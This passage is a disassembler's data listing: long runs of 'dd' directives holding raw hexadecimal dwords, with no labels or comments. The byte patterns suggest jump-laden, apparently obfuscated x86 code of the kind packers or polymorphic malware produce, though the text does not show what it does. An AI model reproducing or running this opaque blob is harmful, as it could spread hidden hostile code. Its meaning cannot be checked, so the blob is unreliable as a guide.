		dd 0A1BEA252h, 6608CABCh, 0F48AD18Bh, 41F08166h, 0CE8C1h
		dd 1F730000h, 2503FAA3h, 0ACFDF871h, 0FE84533h,	0BF000000h
		dd 0CE44BAF2h, 58E050A7h, 70FD7444h, 81668B12h,	5EF2DADFh
		dd 46CC805Ah, 0F7805F50h, 10E957A9h, 6000000h, 575C6A1h
		dd 0E21A027h, 7FC1AACh,	5B6FE2FCh, 0B3E88153h, 5A11B34Ah
		dd 3EB1D4B6h, 0BC2BB966h, 0EE9h, 1C33D500h, 159938C0h
		dd 0F1F0F009h, 808D448Fh, 0CC8AA5CEh, 0AE8h, 87D03B00h
		dd 120E2F3Eh, 0B95A1709h, 62CE89Bh, 0C28B665Fh,	66C08166h
		dd 0CF58B835h, 0BE913B3h, 27000000h, 0F518D86Bh, 0CB5798E8h
		dd 80FC7ACDh, 0BF0FEEDDh, 0C18B66F0h, 13E9h, 56C48800h
		dd 0D37FA0E5h, 4D6156E8h, 958AE8F7h, 0D84B634Dh, 208C0Fh
		dd 0E9600000h, 13h, 891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h
		dd 0FD02FE0h, 87h, 0E7816100h, 0FB8571Eh, 1DCB8166h, 0BABA669Bh
		dd 6685B766h, 0E818DEBBh, 12h, 0CDDAF9D0h, 2E9B4813h, 0DDB169D1h
		dd 0DE8E253Eh, 0BF0F3912h, 60F858D3h, 2A35C181h, 0EF803846h
		dd 0D88B6109h, 0F18F480h, 1389h, 0BE800h, 0E3090000h, 9C4DC455h
		dd 61C232C5h, 5E616081h, 7E9h, 0A108DA00h, 5D8D8F30h, 80D78B66h
		dd 0FCB8C9F1h, 0F7CAC7Bh, 87h, 0DFF38100h, 664819CBh, 564D4EB9h
		dd 2860Fh, 61600000h, 28EB815Ah, 0FC7EBE55h, 81DABF0Fh
		dd 5982EFC2h, 7E913h, 0E7800000h, 3894BDCBh, 64C181FDh
		dd 0E97358F5h, 6, 8A017042h, 0F8602264h, 66C68166h, 10E96170h
		dd 0AF000000h, 0CA63A22h, 1252496Ch, 7A721CA5h,	0F5A00E6Dh
		dd 0E9F2BF0Fh, 9, 246E5C39h, 0BC90BBAEh, 8D0F6072h, 0Bh
		dd 5E8h, 89DBD100h, 0BF5AA758h,	0BC76B15h, 2810F61h, 8B000000h
		dd 7ADABFFEh, 66562F9Fh, 5E3234BFh, 1DE88166h, 810F56E0h
		dd 4, 9441B866h, 0AE95Bh, 90F70000h, 0E7B292F8h, 0AF37A02Dh
		dd 13840Fh, 0BE80000h, 0C2000000h, 0C79C471Dh, 0EC815893h
		dd 0D1B7263Eh, 0DE959h,	0F0970000h, 54A7423Eh, 903125C3h
		dd 0E9EBEB12h, 6, 0A4DBA623h, 81667A34h, 8079A0C8h, 0BE664AE4h
		dd 0F1B71FBEh, 0CE9h, 730A8F00h, 76193DA0h, 88FCB51Ch
		dd 0CABF0FF2h, 58D0Fh, 50BB0000h, 661AA11Ch, 5953F18Bh
		dd 0EE9h, 6CACE800h, 0E0B10E9h,	42CE39F6h, 0F9102D17h
		dd 0DDE08160h, 8A7F25C5h, 8B6661D8h, 5E9F9h, 0D5220000h
		dd 0FD1195Eh, 0C82h, 6870F00h, 0F000000h, 86h, 0BF0F5600h
		dd 0FE95FF2h, 0C9000000h, 20F2BDB1h, 1EB341F0h,	0C9CA3FF0h
		dd 11E85521h, 6B000000h, 0E519CA6Fh, 1A88B479h,	0F55082E0h
		dd 38F2A5B0h, 0E6816652h, 5F58136Ch, 0CE4EE681h, 8E0F311Dh
		dd 4, 5465B866h, 816632B3h, 0FD0C1F1h, 182h, 7AB1F500h
		dd 85B86651h, 8B6659C6h, 38D0FF3h, 0F000000h, 0BF0FC3B7h
		dd 66CB8BDEh, 8B66C28Bh, 7EB81CAh, 66152BDBh, 6B2BE081h
		dd 46D38166h, 8166F572h, 0FCE34C2h, 480h, 76B86600h, 8166FC97h
		dd 0E99B33EFh, 8, 0C9308B73h, 0F02D774Fh, 0C003BE66h, 5544F2BBh
		dd 937FBB70h, 8A0F5769h, 2, 5650F98Bh, 10E9h, 7482DC00h
		dd 1449D6E3h, 347A839Ah, 58804D60h, 605E5F64h, 61D88B66h
		dd 0B5F88B66h, 81C88B26h, 9A7D07C8h, 0CEBF0F15h, 0BF83E081h
		dd 0F570AC1h, 0F5AC1BFh, 28Ch, 51F48A00h, 59D08B66h, 0FEB70FFCh
		dd 547ABB66h, 524CCB81h, 0BE666432h, 0F537396h,	588h, 0E1816600h
		dd 0F5FB8DFh, 68Ah, 25D28100h, 6045DBDAh, 0BE9h, 9D282A00h
		dd 5F2067B6h, 1D1FCD2Eh, 14E961FCh, 0CF000000h,	4F152F0Bh
		dd 490C1983h, 9DC34CB2h, 36918C6Fh, 0F0703FCh, 0F8Dh, 8E95300h
		dd 0D3000000h, 0FDEE29ACh, 5FAC2A32h, 5800F60h,	66000000h
		dd 41BE881h, 5161CEB7h,	6584E681h, 0F5E34D3h, 5852C9B7h
		dd 0BE951h, 0C0C0000h, 99378A72h, 3C93EB3Ah, 870F5B34h
		dd 5, 4BED16B9h
		dd 5CBB604Dh, 66091F9Ah, 0E961DA8Bh, 0Bh, 0BCC43E1Ah, 630E6EA6h
		dd 0FB21A42h, 289h, 66585300h, 0D181DF8Bh, 32807DAh, 3860F60h
		dd 0F000000h, 8C0FCBB7h, 4, 6002BF66h, 810F61h,	66000000h
		dd 0F52F38Bh, 381h, 0CABF0F00h,	15800F5Eh, 0E9000000h
		dd 10h,	0ECB6405Ch, 9B520805h, 0E7F0D6A8h, 1FFC527Bh, 0BABE6657h
		dd 5E95861h, 8000000h, 89412687h, 0F57D18Bh, 0B15AC9B7h
		dd 58C0F6Ch, 0B9000000h, 0AB11BE6h, 6660DE8Bh, 753AE981h
		dd 61D18B66h, 0D78B66FCh, 6C5EA9B9h, 70C3815Eh,	0B805A1CEh
		dd 39689586h, 8B0F5B57h, 2, 9E95F56h, 63000000h, 4B84D490h
		dd 9797C5ABh, 6BC08157h, 5970A743h, 9067D2B8h, 5840F70h
		dd 66000000h, 26D0C781h, 2870F60h, 53000000h, 0BE959h
		dd 31170000h, 22233D72h, 0CCCDDD66h, 0F8FC6116h, 13E9h
		dd 54F40C00h, 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h
		dd 0BE9h, 9CDC5D00h, 442A1A4Ah,	0CC0A4E3Eh, 5972CF81h
		dd 8B6636FDh, 0DE8B66C3h, 0CE8h, 0D8994500h, 0D9E24EC6h
		dd 91E0A90h, 1B2EB88Bh,	605B1EEFh, 53CE8B66h, 82C3B866h
		dd 11E9615Bh, 8000000h,	110C4133h, 293684h, 0ECF534D5h
		dd 34A9752h, 0B3C8BE66h, 78C0Fh, 8C0F0000h, 1, 0E88166F8h
		dd 8B0FF392h, 14h, 0AE8h, 0B2252A00h, 9A837A10h, 66116A78h
		dd 5A62C5B8h, 237FBB66h, 11E9h,	5EA4F500h, 578C159Ah, 0DB13866Fh
		dd 6ED0EC93h, 8B66C610h, 0DE9F7h, 0BF9F0000h, 9F806A31h
		dd 0F6C07A27h, 510DD58Bh, 1AF68166h, 81605BD7h,	3DE8FFEBh
		dd 0C8B70F1Ah, 57D38B61h, 665B36B5h, 609032BFh,	0E9F0BF0Fh
		dd 0Dh,	23AC8D2Ch, 0C519EAC3h, 0D5B3062Dh, 840F6165h, 18h
		dd 13E9h, 900C0A00h, 0B6F7DBE7h, 0B2C3AB99h, 9E2150EEh
		dd 40E31E24h, 1FCF64B8h, 4820F3Dh, 66000000h, 807C7BB8h
		dd 0EB8A0DDFh, 50F38B66h, 13E8h, 9E215000h, 40E31E24h
		dd 0FF579CB7h, 0E594E8D1h, 99C3E836h, 58D98B66h, 0B0BA6658h
		dd 5BE880B8h, 9457CE81h, 8B5738CDh, 0E6815AF9h,	1BB5B9B9h
		dd 66D6B70Fh, 0C93DE981h, 0DEB70F60h, 0CB816660h, 81666B2Dh
		dd 61EEA9C3h, 0DEBF6661h, 0D2D6816Eh, 660BB40Fh, 5E59CA81h
		dd 0F48D880h, 0DE8F9B7h, 0D000000h, 883B5D1Fh, 41B2DCCBh
		dd 6A9B441Dh, 595BFC53h, 8D0FF38Bh, 5, 4BE18166h, 665951A1h
		dd 0C880F08Bh, 665A51A9h, 0CDC8C781h, 6E8h, 0F3931000h
		dd 524074A9h, 5F59D88Bh, 0CE950h, 0F2A0000h, 0FC695236h
		dd 0E93CD67Ch, 665B4FC0h, 9FB8FA8Bh, 6651AAD8h,	5750A2BFh
		dd 15D88166h, 800F5F85h, 6, 8DBE6656h, 8A0F5EDEh, 0Bh
		dd 6E9h, 85C76E00h, 0FA677A2h, 0C87h, 7E900h, 0BBAA0000h
		dd 0F1BED05Ch, 11850FEDh, 0E9000000h, 0Ch, 0FBEA64Ch, 1D27187Ah
		dd 9B74FA5Ah, 19B654BBh, 0BE929h, 0E2620000h, 71A82CA5h
		dd 0BCDE5065h, 0DDCB8180h, 8B7071C1h, 10E9C8h, 905C0000h
		dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 7CB4F37Ah, 11E9F8h
		dd 0AC2F0000h, 1E21D045h, 0BE86A016h, 0A8CB54EFh, 519802A6h
		dd 58F8BF0Fh, 8C0F5F53h, 3, 0E9FBBF0Fh,	0Eh, 0C72B3BB6h
		dd 606A9178h, 70B66C63h, 0D28064D5h, 800FF545h,	6, 5B0CC881h
		dd 0E4B7170Fh, 0BFC78B66h, 794D3FDh, 13E8h, 873DAE00h
		dd 0ADEE1945h, 17EC2813h, 0B4296227h, 0B952A6F8h, 0DFB70F5Ah
		dd 66FACF80h, 665E51B8h, 279EDB81h, 0E911EC80h,	12h, 6A558153h
		dd 9776028Ch, 0E567E14Eh, 2C5D96E7h, 69BBE640h,	0F206D23h
		dd 888h, 2820F00h, 60000000h, 80565361h, 585FFBC5h, 0D2B1FE8Ah
		dd 9E9h, 0D550A200h, 9FA79344h,	0F781B484h, 727D4C63h
		dd 3C8BBE66h, 0DECB8166h, 0F38166EAh, 0FFCD6DAh, 0C83h
		dd 6880F00h, 0F000000h,	8Ch, 12E900h, 502C0000h, 0D69BD0FFh
		dd 53B661D1h, 0CE17DDA0h, 0C0DCC150h, 0FFA8B60h, 68Ah
		dd 8C0F00h, 61000000h, 0F8DABF0Fh, 0D88B66F5h, 0B966CB8Bh
		dd 9E9A7AAh, 60000000h,	5A0EE70Dh, 5471490Dh, 473DD881h
		dd 0F88A752Dh, 782DD781h, 0E8524742h, 8, 0FE5C291Ah, 853077DCh
		dd 10E9h, 6CBE8500h, 0C337E483h, 51DEFF5Eh, 0C96D770Fh
		dd 815E5EE2h, 1B02DCAh,	0F9EB8124h, 66547BFDh, 0F832BCBAh
		dd 0B8F2BF66h, 0AE9h, 0D321E00h, 9F08C831h, 60F3E33Fh
		dd 2FD38166h, 4099B8AEh, 0F6131A9h, 8F0FF3BFh, 2, 8166D08Bh
		dd 60DA6FD3h, 0FF2BF0Fh, 283h, 61595600h, 5E953h, 0D2F80000h
		dd 59FD9D19h, 0FCD3B70Fh, 0DEA1CE81h, 0D18B1CDBh, 9E8h
		dd 3425DC00h, 0A50AF185h, 0D1B5FA84h, 1850F5Ah,	0FC000000h
		dd 56F68166h, 6860F07h,	81000000h, 8AB224E6h, 68CA8114h
		dd 0F14CDBDh, 0BF0FDBB7h, 48F0FF7h, 66000000h, 66C28CBAh
		dd 0FFF2EB9h, 386h, 0FEBF0F00h,	0B025EA80h, 198C0FD6h
		dd 0E8000000h, 10h, 664EE9Eh, 7DA98A44h, 4D7E0D01h, 0C208153Eh
		dd 5A9CF180h, 0B70F93B5h, 0CCCE80C8h, 9E9h, 0E4C75700h
		dd 0C8AB97Bh, 6E83410h,	0B7000000h, 160A18E7h, 0C6E881F4h
		dd 5E1B8AB3h, 73D88166h, 14E9ACh, 23E30000h, 6F34B768h
		dd 0EE8650BDh, 0D66547DCh, 0F65D102Bh, 880F524Eh, 2, 0B86695B7h
		dd 0E5805BB6h, 0CE8B6682h, 0B65EFC50h, 0AEBB667Ah, 38C0F4Ah
		dd 66000000h, 5853FB8Bh, 68B0Fh, 0F0810000h, 8550ACh, 60D08BFCh
		dd 0CB8AF860h, 0DB25661h, 8B666159h, 66F38BC8h,	10E9D68Bh
		dd 78000000h, 6B2246C5h, 0DFD34495h, 4DA9BA09h,	0FE294AFh
		dd 68Eh, 31E08100h, 6646C174h, 6849D681h, 0BE8h, 0FBC1A900h
		dd 0A3E1326Ah, 0A58629D4h, 12E8h, 4AA9B100h, 4AE1BB65h
		dd 427B77ADh, 0AD628342h, 0E81D63DFh, 13h, 41B95016h, 2CBE45DAh
		dd 729D8C1Bh, 0E1DD7211h, 5BF79554h, 8B665958h,	0D6B70FC3h
		dd 8E9h, 18154E00h, 66D839C8h, 0FBB70FABh, 0A4B966F5h
		dd 13E960F5h, 4A000000h, 1C9A1F94h, 46CC1D79h, 967C3C9Bh
		dd 0A5AD6054h, 0B966E62Dh, 0F6186DDh, 58Fh, 0B0DBB900h
		dd 0E68A3F61h, 9C8ABF60h, 0DF8B16D1h, 6643B261h, 8344EF81h
		dd 30ABB966h, 0C820Fh, 7E90000h, 0E2000000h, 6F336E05h
		dd 6660FCC2h, 0E826F7B8h, 0Dh, 0DE3AEA2Ah, 4B0A77E6h, 80041D81h
		dd 0C08166A9h, 615A9B8Bh, 5E9h,	0F5709600h, 8052F1D0h
		dd 0E95B88C5h, 12h, 4D92F5BAh, 47AB3D2Ah, 9356CA8Ah, 235FCBF9h
		dd 0E851E884h, 14h, 3153DD44h, 4737C856h, 0CBA81656h, 9CECFFBCh
		dd 0C3EE777Ah, 0F204BA66h, 8E95B5Fh, 75000000h,	45B81A70h
		dd 81C97BD4h, 9A500BDEh, 9BD8802Ch, 0E81EF480h,	0Bh, 0FCBABA30h
		dd 0FEF5FEA7h, 0B93E133Bh, 18718451h, 3880F58h,	80000000h
		dd 0BE82BE2h, 5F000000h, 0BB3A4924h, 0B757A4CCh, 96B5302Dh
		dd 0DABF605Eh, 667468A6h, 8B61D98Bh, 6CB660F9h,	0E8606061h
		dd 0Eh,	86C3DC5h, 110C4133h, 293684h, 615934D5h, 0DE9h
		dd 0EEBABC00h, 3E3F8488h, 23FD3917h, 66610D62h,	66AD71BBh
		dd 786C681h
		dd 13E9h, 0E3466400h, 52586EA8h, 7E5CA94Bh, 9BBAF30Eh
		dd 694CC070h, 0EE9h, 3519BA00h,	0F65E2885h, 201DC5C9h
		dd 0FC793F75h, 38D0Fh, 0DA800000h, 12800FD0h, 0E9000000h
		dd 0Dh,	21F5C3A4h, 5152CEC9h, 57E85AFBh, 0AE9DBh, 0FA230000h
		dd 80491A83h, 24384504h, 0DFEA8166h, 14E8B4h, 439D0000h
		dd 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 0C28113C5h
		dd 0E49A512h, 5DCBBF59h, 870F18F8h, 5, 13CF8166h, 0F5E4B12Eh
		dd 0DE8h, 99516000h, 0E8AB704Ch, 2634B0FEh, 7E836A0h, 2A000000h
		dd 71DD428Ch, 0BA669C80h, 5F5817E1h, 0EB8ABEFCh, 0D1813D3Fh
		dd 8DB3220h, 40B86660h,	28D0F6Dh, 60000000h, 0B2B96161h
		dd 0E82C4A1Dh, 11h, 5B1ECCB5h, 0F5EA27CFh, 73F1EC42h, 8B0874D1h
		dd 815AF9F7h, 9EBAE1DBh, 0B866FC48h, 0C180AC6Dh, 2830F7Dh
		dd 8B000000h, 4ABF66DAh, 8E834h, 0AC660000h, 0CBBA4332h
		dd 815BCD26h, 4CF5B4EAh, 4ABE6612h, 0ECBA664Bh,	0EE8BEh
		dd 4B1B0000h, 0BA893D10h, 6D6A3C29h, 7456B53Eh,	10E8h
		dd 0E2ACF600h, 0BA8D1ABFh, 670FC175h, 75F19633h, 76BA66D6h
		dd 665B5A1Ch, 810B7AB8h, 872573F2h, 0E8F98B52h,	0Fh, 0E009A541h
		dd 9281069Bh, 0DC943161h, 665E66A5h, 5FACAEBBh,	38F0Fh
		dd 0E1800000h, 98D0F3Dh, 0F000000h, 38Eh, 0F0BF0F00h, 0BE9h
		dd 9367AF00h, 0DBD0BFF8h, 0CCA76ABEh, 66CABF0Fh, 0A683CF81h
		dd 13E9h, 8D539900h, 19FD3F59h,	0C72B3BB6h, 606A9178h
		dd 70B66C63h, 10E8h, 0AB01F300h, 840F688Bh, 9DD6CFA4h
		dd 5241B44h, 5950B130h,	13DC7EBFh, 0CA8B6661h, 6E9D88Ah
		dd 0FA000000h, 15B74F09h, 3CE98127h, 0BF542C64h, 56D7BCFh
		dd 6DEC981h, 57F93404h,	67EF8166h, 0B4BB5F14h, 0B47D9F98h
		dd 0E9C78B62h, 9, 0C3910346h, 5797490h,	0D3816633h, 8B6667E2h
		dd 7800FD6h, 0F000000h,	189h, 880FF900h, 6, 4FD0E781h
		dd 0EE92980h, 0EB000000h, 0AFD4E958h, 0FD9B8DB5h, 9CA592DDh
		dd 810F60BDh, 1, 0F61FCFCh, 284h, 66C88B00h, 0E9F5C3BFh
		dd 0Bh,	0C5B16112h, 276C4275h, 0E927CB21h, 11h,	6564A3F1h
		dd 8AED87D5h, 0AC8D2CF8h, 19EAC323h, 8B66F9C5h,	73E381FAh
		dd 0F5E5B5Ch, 185h, 830FFC00h, 6, 0A702DF81h, 10E97CBCh
		dd 8A000000h, 97FE3946h, 4E124506h, 0D6779F6h, 0FC9E3E14h
		dd 0FDABF0Fh, 480h, 10B96600h, 0EE8053A1h, 8B665BA6h, 0C6BF0FD7h
		dd 9E8h, 0F8F08100h, 42447E72h,	0F681D4E5h, 163AAE96h
		dd 8AD6BB58h, 816601A1h, 0BB5FBCC0h, 7FD872E4h,	0B5FABF0Fh
		dd 53F2BE12h, 0DE927B3h, 3F000000h, 3ACC9162h, 0BE62FAA0h
		dd 33DB7313h, 0F607EB5h, 385h, 0F6B70F00h, 11E9h, 29F05800h
		dd 6CC3CD0Ah, 5E437616h, 23BF017Fh, 66617CA4h, 5A79CA81h
		dd 0AE960h, 41E40000h, 0A992995Fh, 9C5013D5h, 61DA8B66h
		dd 0E960F78Ah, 10h, 0BDE5252Fh,	0ADBD5A1Eh, 91D96520h
		dd 320865D9h, 0F615B57h, 188Bh,	13E900h, 37600000h, 0EEE6D7EFh
		dd 8621A87Ch, 5DE7626Dh, 8B25FD73h, 0E0816612h,	60F9B69Fh
		dd 6E9h, 8D8B4E00h, 8B0B83A1h, 8B6661C3h, 0D68B66C7h, 7E9h
		dd 26D4BA00h, 6ECBE2C0h, 0F3CE080h, 487h, 0FEBE6600h, 12E89Bh
		dd 70E80000h, 0EDA701D7h, 86672CAAh, 0EBC944DBh, 2A2F9A38h
		dd 860F5FF8h, 1, 4870FF5h, 66000000h, 0F37D4B8h, 48Bh
		dd 5A535300h, 0A7C78158h, 507010A8h, 815F5856h,	0E2B805D9h
		dd 7E93Bh, 92070000h, 52DF1677h, 0BF6660D8h, 8E88EDAh
		dd 0F0000000h, 8DDFF79Ah, 81E270ADh, 0D1DD57F3h, 0E9615806h
		dd 0Fh,	140ED998h, 0E474EDE1h, 0B7A24556h, 0FA5D88Eh, 1386h
		dd 0EE900h, 80790000h, 0FDCD74D4h, 0EA8B5DEFh, 13A418B1h
		dd 7E8h, 294BD200h, 0ED2D6203h,	9E8h, 57255100h, 0EA2990CEh
		dd 0E1814CA7h, 40FFFD74h, 8B0F5E59h, 2,	5E997B4h, 1C000000h
		dd 5493E39Fh, 6810Fh, 66530000h, 5AEFA0B9h, 11E8h, 0CE6A5F00h
		dd 0EF131A6Dh, 694B9213h, 0EBDD5BBh, 0F08B9D70h, 36D8805Fh
		dd 99F68166h, 7E95129h,	18000000h, 5D5FE58Fh, 535AC6FBh
		dd 53A9BA5Ah, 6E92EFDh,	9E000000h, 0E9BA49A4h, 0FA8B766h
		dd 1087h, 0BE900h, 0DFEB0000h, 9DA8C8D1h, 7D995036h, 17E281B1h
		dd 6620C34Fh, 666115BFh, 6660D88Bh, 0F7195BBh, 1988h, 14E900h
		dd 0B9590000h, 204D80C8h, 96B57EC5h, 0A82E8053h, 9249ACF3h
		dd 0E961FB79h, 14h, 13CF07A5h, 9647F772h, 190D2AFDh, 1F4FE1A6h
		dd 0E60716AFh, 9A36BA66h, 816602B0h, 8074BFD2h,	8BF9E9D0h
		dd 7E8D8h, 74E40000h, 84F8B25Dh, 0CE8B602Fh, 0FA8A5E61h
		dd 0B4DA8B66h, 0C8BF0F89h, 0C850Fh, 7E90000h, 0AC000000h
		dd 46B76AEEh, 0EE85E8Ch, 0B2000000h, 1525EACh, 77271214h
		dd 2B8E2895h, 1860FA8h,	0F5000000h, 0DAF68159h,	0B21DEBBFh
		dd 8E96Fh, 0D1F50000h, 287F6F06h, 0BA669798h, 0CDB74A6Eh
		dd 0F860Fh, 0AE90000h, 1A000000h, 5A756D6Bh, 1A466DE2h
		dd 2B860F3Eh, 0E8000000h, 12h, 0F31FC306h, 6F06D1F5h, 9798287Fh
		dd 0A7423EF0h, 0EE9C354h, 49000000h, 32F19DC5h,	0E4A40B56h
		dd 147A6346h, 8B0F5E3Dh, 0Eh, 39E98160h, 0F0B9C55h, 8Eh
		dd 0B70F6100h, 9E957C7h, 0D0000000h, 23395576h,	40DD8B7Eh
		dd 0FC78B58h, 1989h, 14E900h, 135E0000h, 30A67613h, 0C9DCEDAh
		dd 0CC2F8C8Dh, 4CFF5C78h, 8B0FE99Eh, 0
		dd 5AD68166h, 8166606Eh, 0BEF7BFEFh, 68A9F9B2h,	5E961h
		dd 0DBFB0000h, 60494FBBh, 9E9h,	0AE441A00h, 313BC49Bh
		dd 0BF0F0F2Eh, 816661C6h, 66F813D9h, 5656E3B9h,	434919BFh
		dd 840F5824h, 2, 840FEE8Ah, 6, 3E39CA81h, 0F88B07B0h, 6201EABEh
		dd 0E3CE801Fh, 0EA0E33B9h, 0A7A8BE63h, 0F28B0F54h, 14840Fh
		dd 0FE90000h, 0D000000h, 113C9EA9h, 6EF9FC94h, 5693C59Fh
		dd 0CE8E7AAh, 0D0000000h, 0A2D7BB03h, 0E76833E1h, 81C3A563h
		dd 68E204DEh, 2ABF5F5Ch, 0E8141D3Eh, 6,	0EE825E1Ch, 9BB94760h
		dd 5A1CA7B2h, 8BF904B3h, 0FEBF0FF7h, 0FD0B70Fh,	0F380CAB7h
		dd 8113B2A0h, 0FDD106E1h, 0C3BF0F23h, 0B8C78B66h, 1DE1093Ch
		dd 12E9h, 0A7A14900h, 2E789ECDh, 69EFC990h, 49A07FB7h
		dd 803B040Eh, 13E8E6F3h, 26000000h, 0F81297AAh,	65139864h
		dd 0BCF6CBEAh, 0C76F1EF8h, 0BF66DF0Ch, 66585C5Ah, 13E9F18Bh
		dd 3000000h, 71A0D7D9h,	6C25C4EDh, 77E8790h, 8E949B5Eh
		dd 0FE8A259Fh, 4840Fh, 0BB660000h, 8166371Fh, 0F408CD9h
		dd 486h, 17B96600h, 0CA8BFCFCh,	0B70F52FCh, 9E95BF0h, 84000000h
		dd 1BD26BBh, 0F54F974Dh, 6E960h, 0AEC90000h, 0BCBFB4C6h
		dd 2810F61h, 8A000000h,	0C88166D5h, 870F2D74h, 14h, 0FE9h
		dd 0DB941600h, 0E21ED562h, 0AD7C09C9h, 2E454A89h, 0EE9h
		dd 0FB810100h, 0A67B5B2Ah, 0D77233A3h, 0F476893h, 1980h
		dd 13E800h, 0D3AD0000h,	0CF210316h, 57B86C0Dh, 0DEEF686Bh
		dd 0E5033A81h, 8F0F5F4Bh, 3, 0FF88B66h,	830FCBB7h, 3, 81D18B66h
		dd 0C72393EFh, 820F6036h, 6, 42AD281h, 0E96178E8h, 9, 0F8680EA5h
		dd 0E478C43Ah, 81BB66CAh, 10E967h, 9440000h, 0B052E7A1h
		dd 0AE658F98h, 0F448C6EAh, 7E8DCE0h, 0F2000000h, 9FF4757Fh
		dd 665FDF0Bh, 6644FFB8h, 0F38BFB8Bh, 81C3BF0Fh,	32C247DEh
		dd 0FE97Ah, 0EAB50000h,	0E7FB9CBBh, 0E1A35C5Ch,	0EC076C22h
		dd 0C0816644h, 81666FDDh, 8BA248DBh, 0FBB70FDEh, 368390B9h
		dd 0E68A525Fh, 8CD2815Eh, 0E95CACCBh, 0Ah, 0A1D5071Bh
		dd 25170AFBh, 8B660ADDh, 69E381F3h, 0B91B7514h,	7E133AF1h
		dd 11E8CE8Bh, 0B7000000h, 0ECE253F8h, 49579691h, 68B9399Bh
		dd 2F3CDCFDh, 0D6D78160h, 8154CD70h, 1131B1E1h,	0F586111h
		dd 0B966DEBFh, 8B666247h, 0C38166D6h, 810F4C4Ah, 3, 66C7BF0Fh
		dd 8166DF8Bh, 8B4662DEh, 15C781F8h, 0B83C23D9h,	37E44201h
		dd 0FE8h, 0F2010800h, 541D511Ch, 73F6361h, 9E92CC89h, 5880Fh
		dd 3BF0000h, 5A39EDB5h,	830FC78Bh, 6, 4FB6E981h, 3BB21E4Ah
		dd 0E87ADF80h, 9, 1D2A2DE1h, 0E11B67Fh,	3830FDCh, 0F000000h
		dd 665AFABFh, 5059DEBEh, 327BE881h, 66590870h, 0E9FF21BAh
		dd 9, 0B70D300Fh, 155DE943h, 0C68166B5h, 67B83682h, 567A1FDEh
		dd 5E85Eh, 0B4810000h, 0FE61F90h, 689h,	860F00h, 58000000h
		dd 8166C28Bh, 0E8AE57D8h, 0Ch, 0CF65A665h, 5860B981h, 0D966A6C4h
		dd 5ECE8B66h, 8BDE8B66h, 8E8D7h, 0DB290000h, 9D4901A1h
		dd 860F00ADh, 2, 0E85B51B3h, 8,	6E242E04h, 0E6B0D1Ch, 12E8h
		dd 1E3DEF00h, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h,	0E85AD43Eh
		dd 14h,	49997470h, 3CF4B485h, 72066A87h, 956ECF2Ch, 5469BAC9h
		dd 0F595958h, 5B52DABFh, 1DF38166h, 13E95Ah, 8A0F0000h
		dd 4C979402h, 0D4AC136h, 479D2B39h, 2D9941Ch, 0DA816681h
		dd 0CB81735Ch, 34D7AB3Eh, 8BC7B70Fh, 0C68166FAh, 0CB8B7EE6h
		dd 0FE853h, 4F8A0000h, 60F2FD2Eh, 0B974501Bh, 0F3A15D9Dh
		dd 5BC28BD7h, 0C8B70F5Bh, 66D88B66h, 52019EBEh,	0CE95FFCh
		dd 8C000000h, 0A11E3249h, 663CC5EEh, 0F5A3607h,	18Ch, 0C281F800h
		dd 5305DA51h, 60C18BF9h, 38C0Fh, 8B660000h, 1830FF9h, 0F9000000h
		dd 0E9DFB061h, 5, 4B12306Eh, 0CB8B66E9h, 11E9h,	66592200h
		dd 0C41A24DAh, 0C1D60BD8h, 0CE5E306Ah, 10E934D9h, 74000000h
		dd 52FDCEFAh, 1859CC3Eh, 88EEBABCh, 0F3E3F84h, 28Eh, 662EB300h
		dd 0AD52E681h, 11E9h, 48042500h, 952189D2h, 77C2A0B2h
		dd 88B74C46h, 14E93AA7h, 0AE000000h, 0CCC21F4Ch, 750FBFBDh
		dd 0A7B39804h, 0E01BD07Fh, 606CEBBDh, 11E9h, 0DC6EE400h
		dd 0EA353C7h, 59AFC87Eh, 0B5AB1BE9h, 0F9518031h, 0B866615Bh
		dd 81669132h, 660C4EC3h, 660060BBh, 0F17C181h, 0CF38166h
		dd 816660B2h, 80C68CE7h, 0B761E2C2h, 0A8A0F04h,	0E9000000h
		dd 5, 0B12EBBCCh, 14E994h, 887F0000h, 65FF0B7Fh, 7514721Eh
		dd 0B7E1FEFBh, 0B8AA7107h, 0CE8BC775h, 813B866h, 808EF080h
		dd 840F2BD2h, 2, 8C0FC68Ah, 19h, 14E9h,	32BB0000h, 0E710B528h
		dd 6941065Bh, 8D24101h,	0E3BE3229h, 0CBA2BEA0h,	8166747Ah
		dd 0F2EF9F1h, 98Bh, 3890F00h, 66000000h, 8166D88Bh, 0E9B103F2h
		dd 0Eh,	7CB59C1Dh, 56CE859h, 0EAF16588h, 840F901Fh, 1
		dd 0DE9F5h, 8F9F0000h, 2C6AF582h, 0B7AC6127h, 0E9FE4AE8h
		dd 5, 0E9CC0A0h, 0A8C0F81h, 0F000000h, 489h, 33BA6600h
		dd 0C3BF0F2Bh, 2870Fh, 74B00000h, 0E96EC180h, 10h, 905E7ACDh
		dd 92983D99h, 8EA4E512h, 0A5B5B76Fh, 30995FBAh,	0C3816668h
		dd 8C0F6D62h, 5, 0F97487B9h, 12E919h, 63A10000h, 0A3B54DFFh
		dd 0DAE60B48h, 551F55A4h, 0D2643A98h, 49B8B966h, 4880Fh
		dd 0BB660000h, 880F4628h, 9, 3870Fh, 8B660000h,	0D1BF0FCFh
		dd 81BEB660h, 0F2E583C1h, 0F2816151h, 3E68786Eh, 0E8F4BB66h
		dd 0C6DA8BB9h, 6DC78109h, 0F5A135Fh, 587h, 0CA816600h
		dd 0EA81DB45h, 4BF37688h, 5FBDDA81h, 0E9802137h, 820F8Fh
		dd 0B2000000h, 0C1BF0F9Ah, 78E68166h, 13E8DCh, 0A2630000h
		dd 22108AF5h, 50BF78C5h, 97AB2DE8h, 623E902Dh, 5E53609Ah
		dd 0CE85E61h, 51000000h, 860BA856h, 5CCA18A7h, 0E99EDD51h
		dd 0Fh,	0D784E00Ch, 55919D25h, 8BC0C5FAh, 596E42AFh, 66D3D180h
		dd 8B60FB8Bh, 1E2FBEF1h, 60612596h, 0C033F4BEh,	35F18027h
		dd 0FC78B61h, 185h, 0E28AF800h,	0CC8290BFh, 12E919h, 186C0000h
		dd 0E7053599h, 0E9F1E276h, 0DCEADCA3h, 0DD061A3h, 5E8h
		dd 0C7C2D000h, 0B55F6729h, 2BBB66D9h, 0C9BF0FA1h, 6810Fh
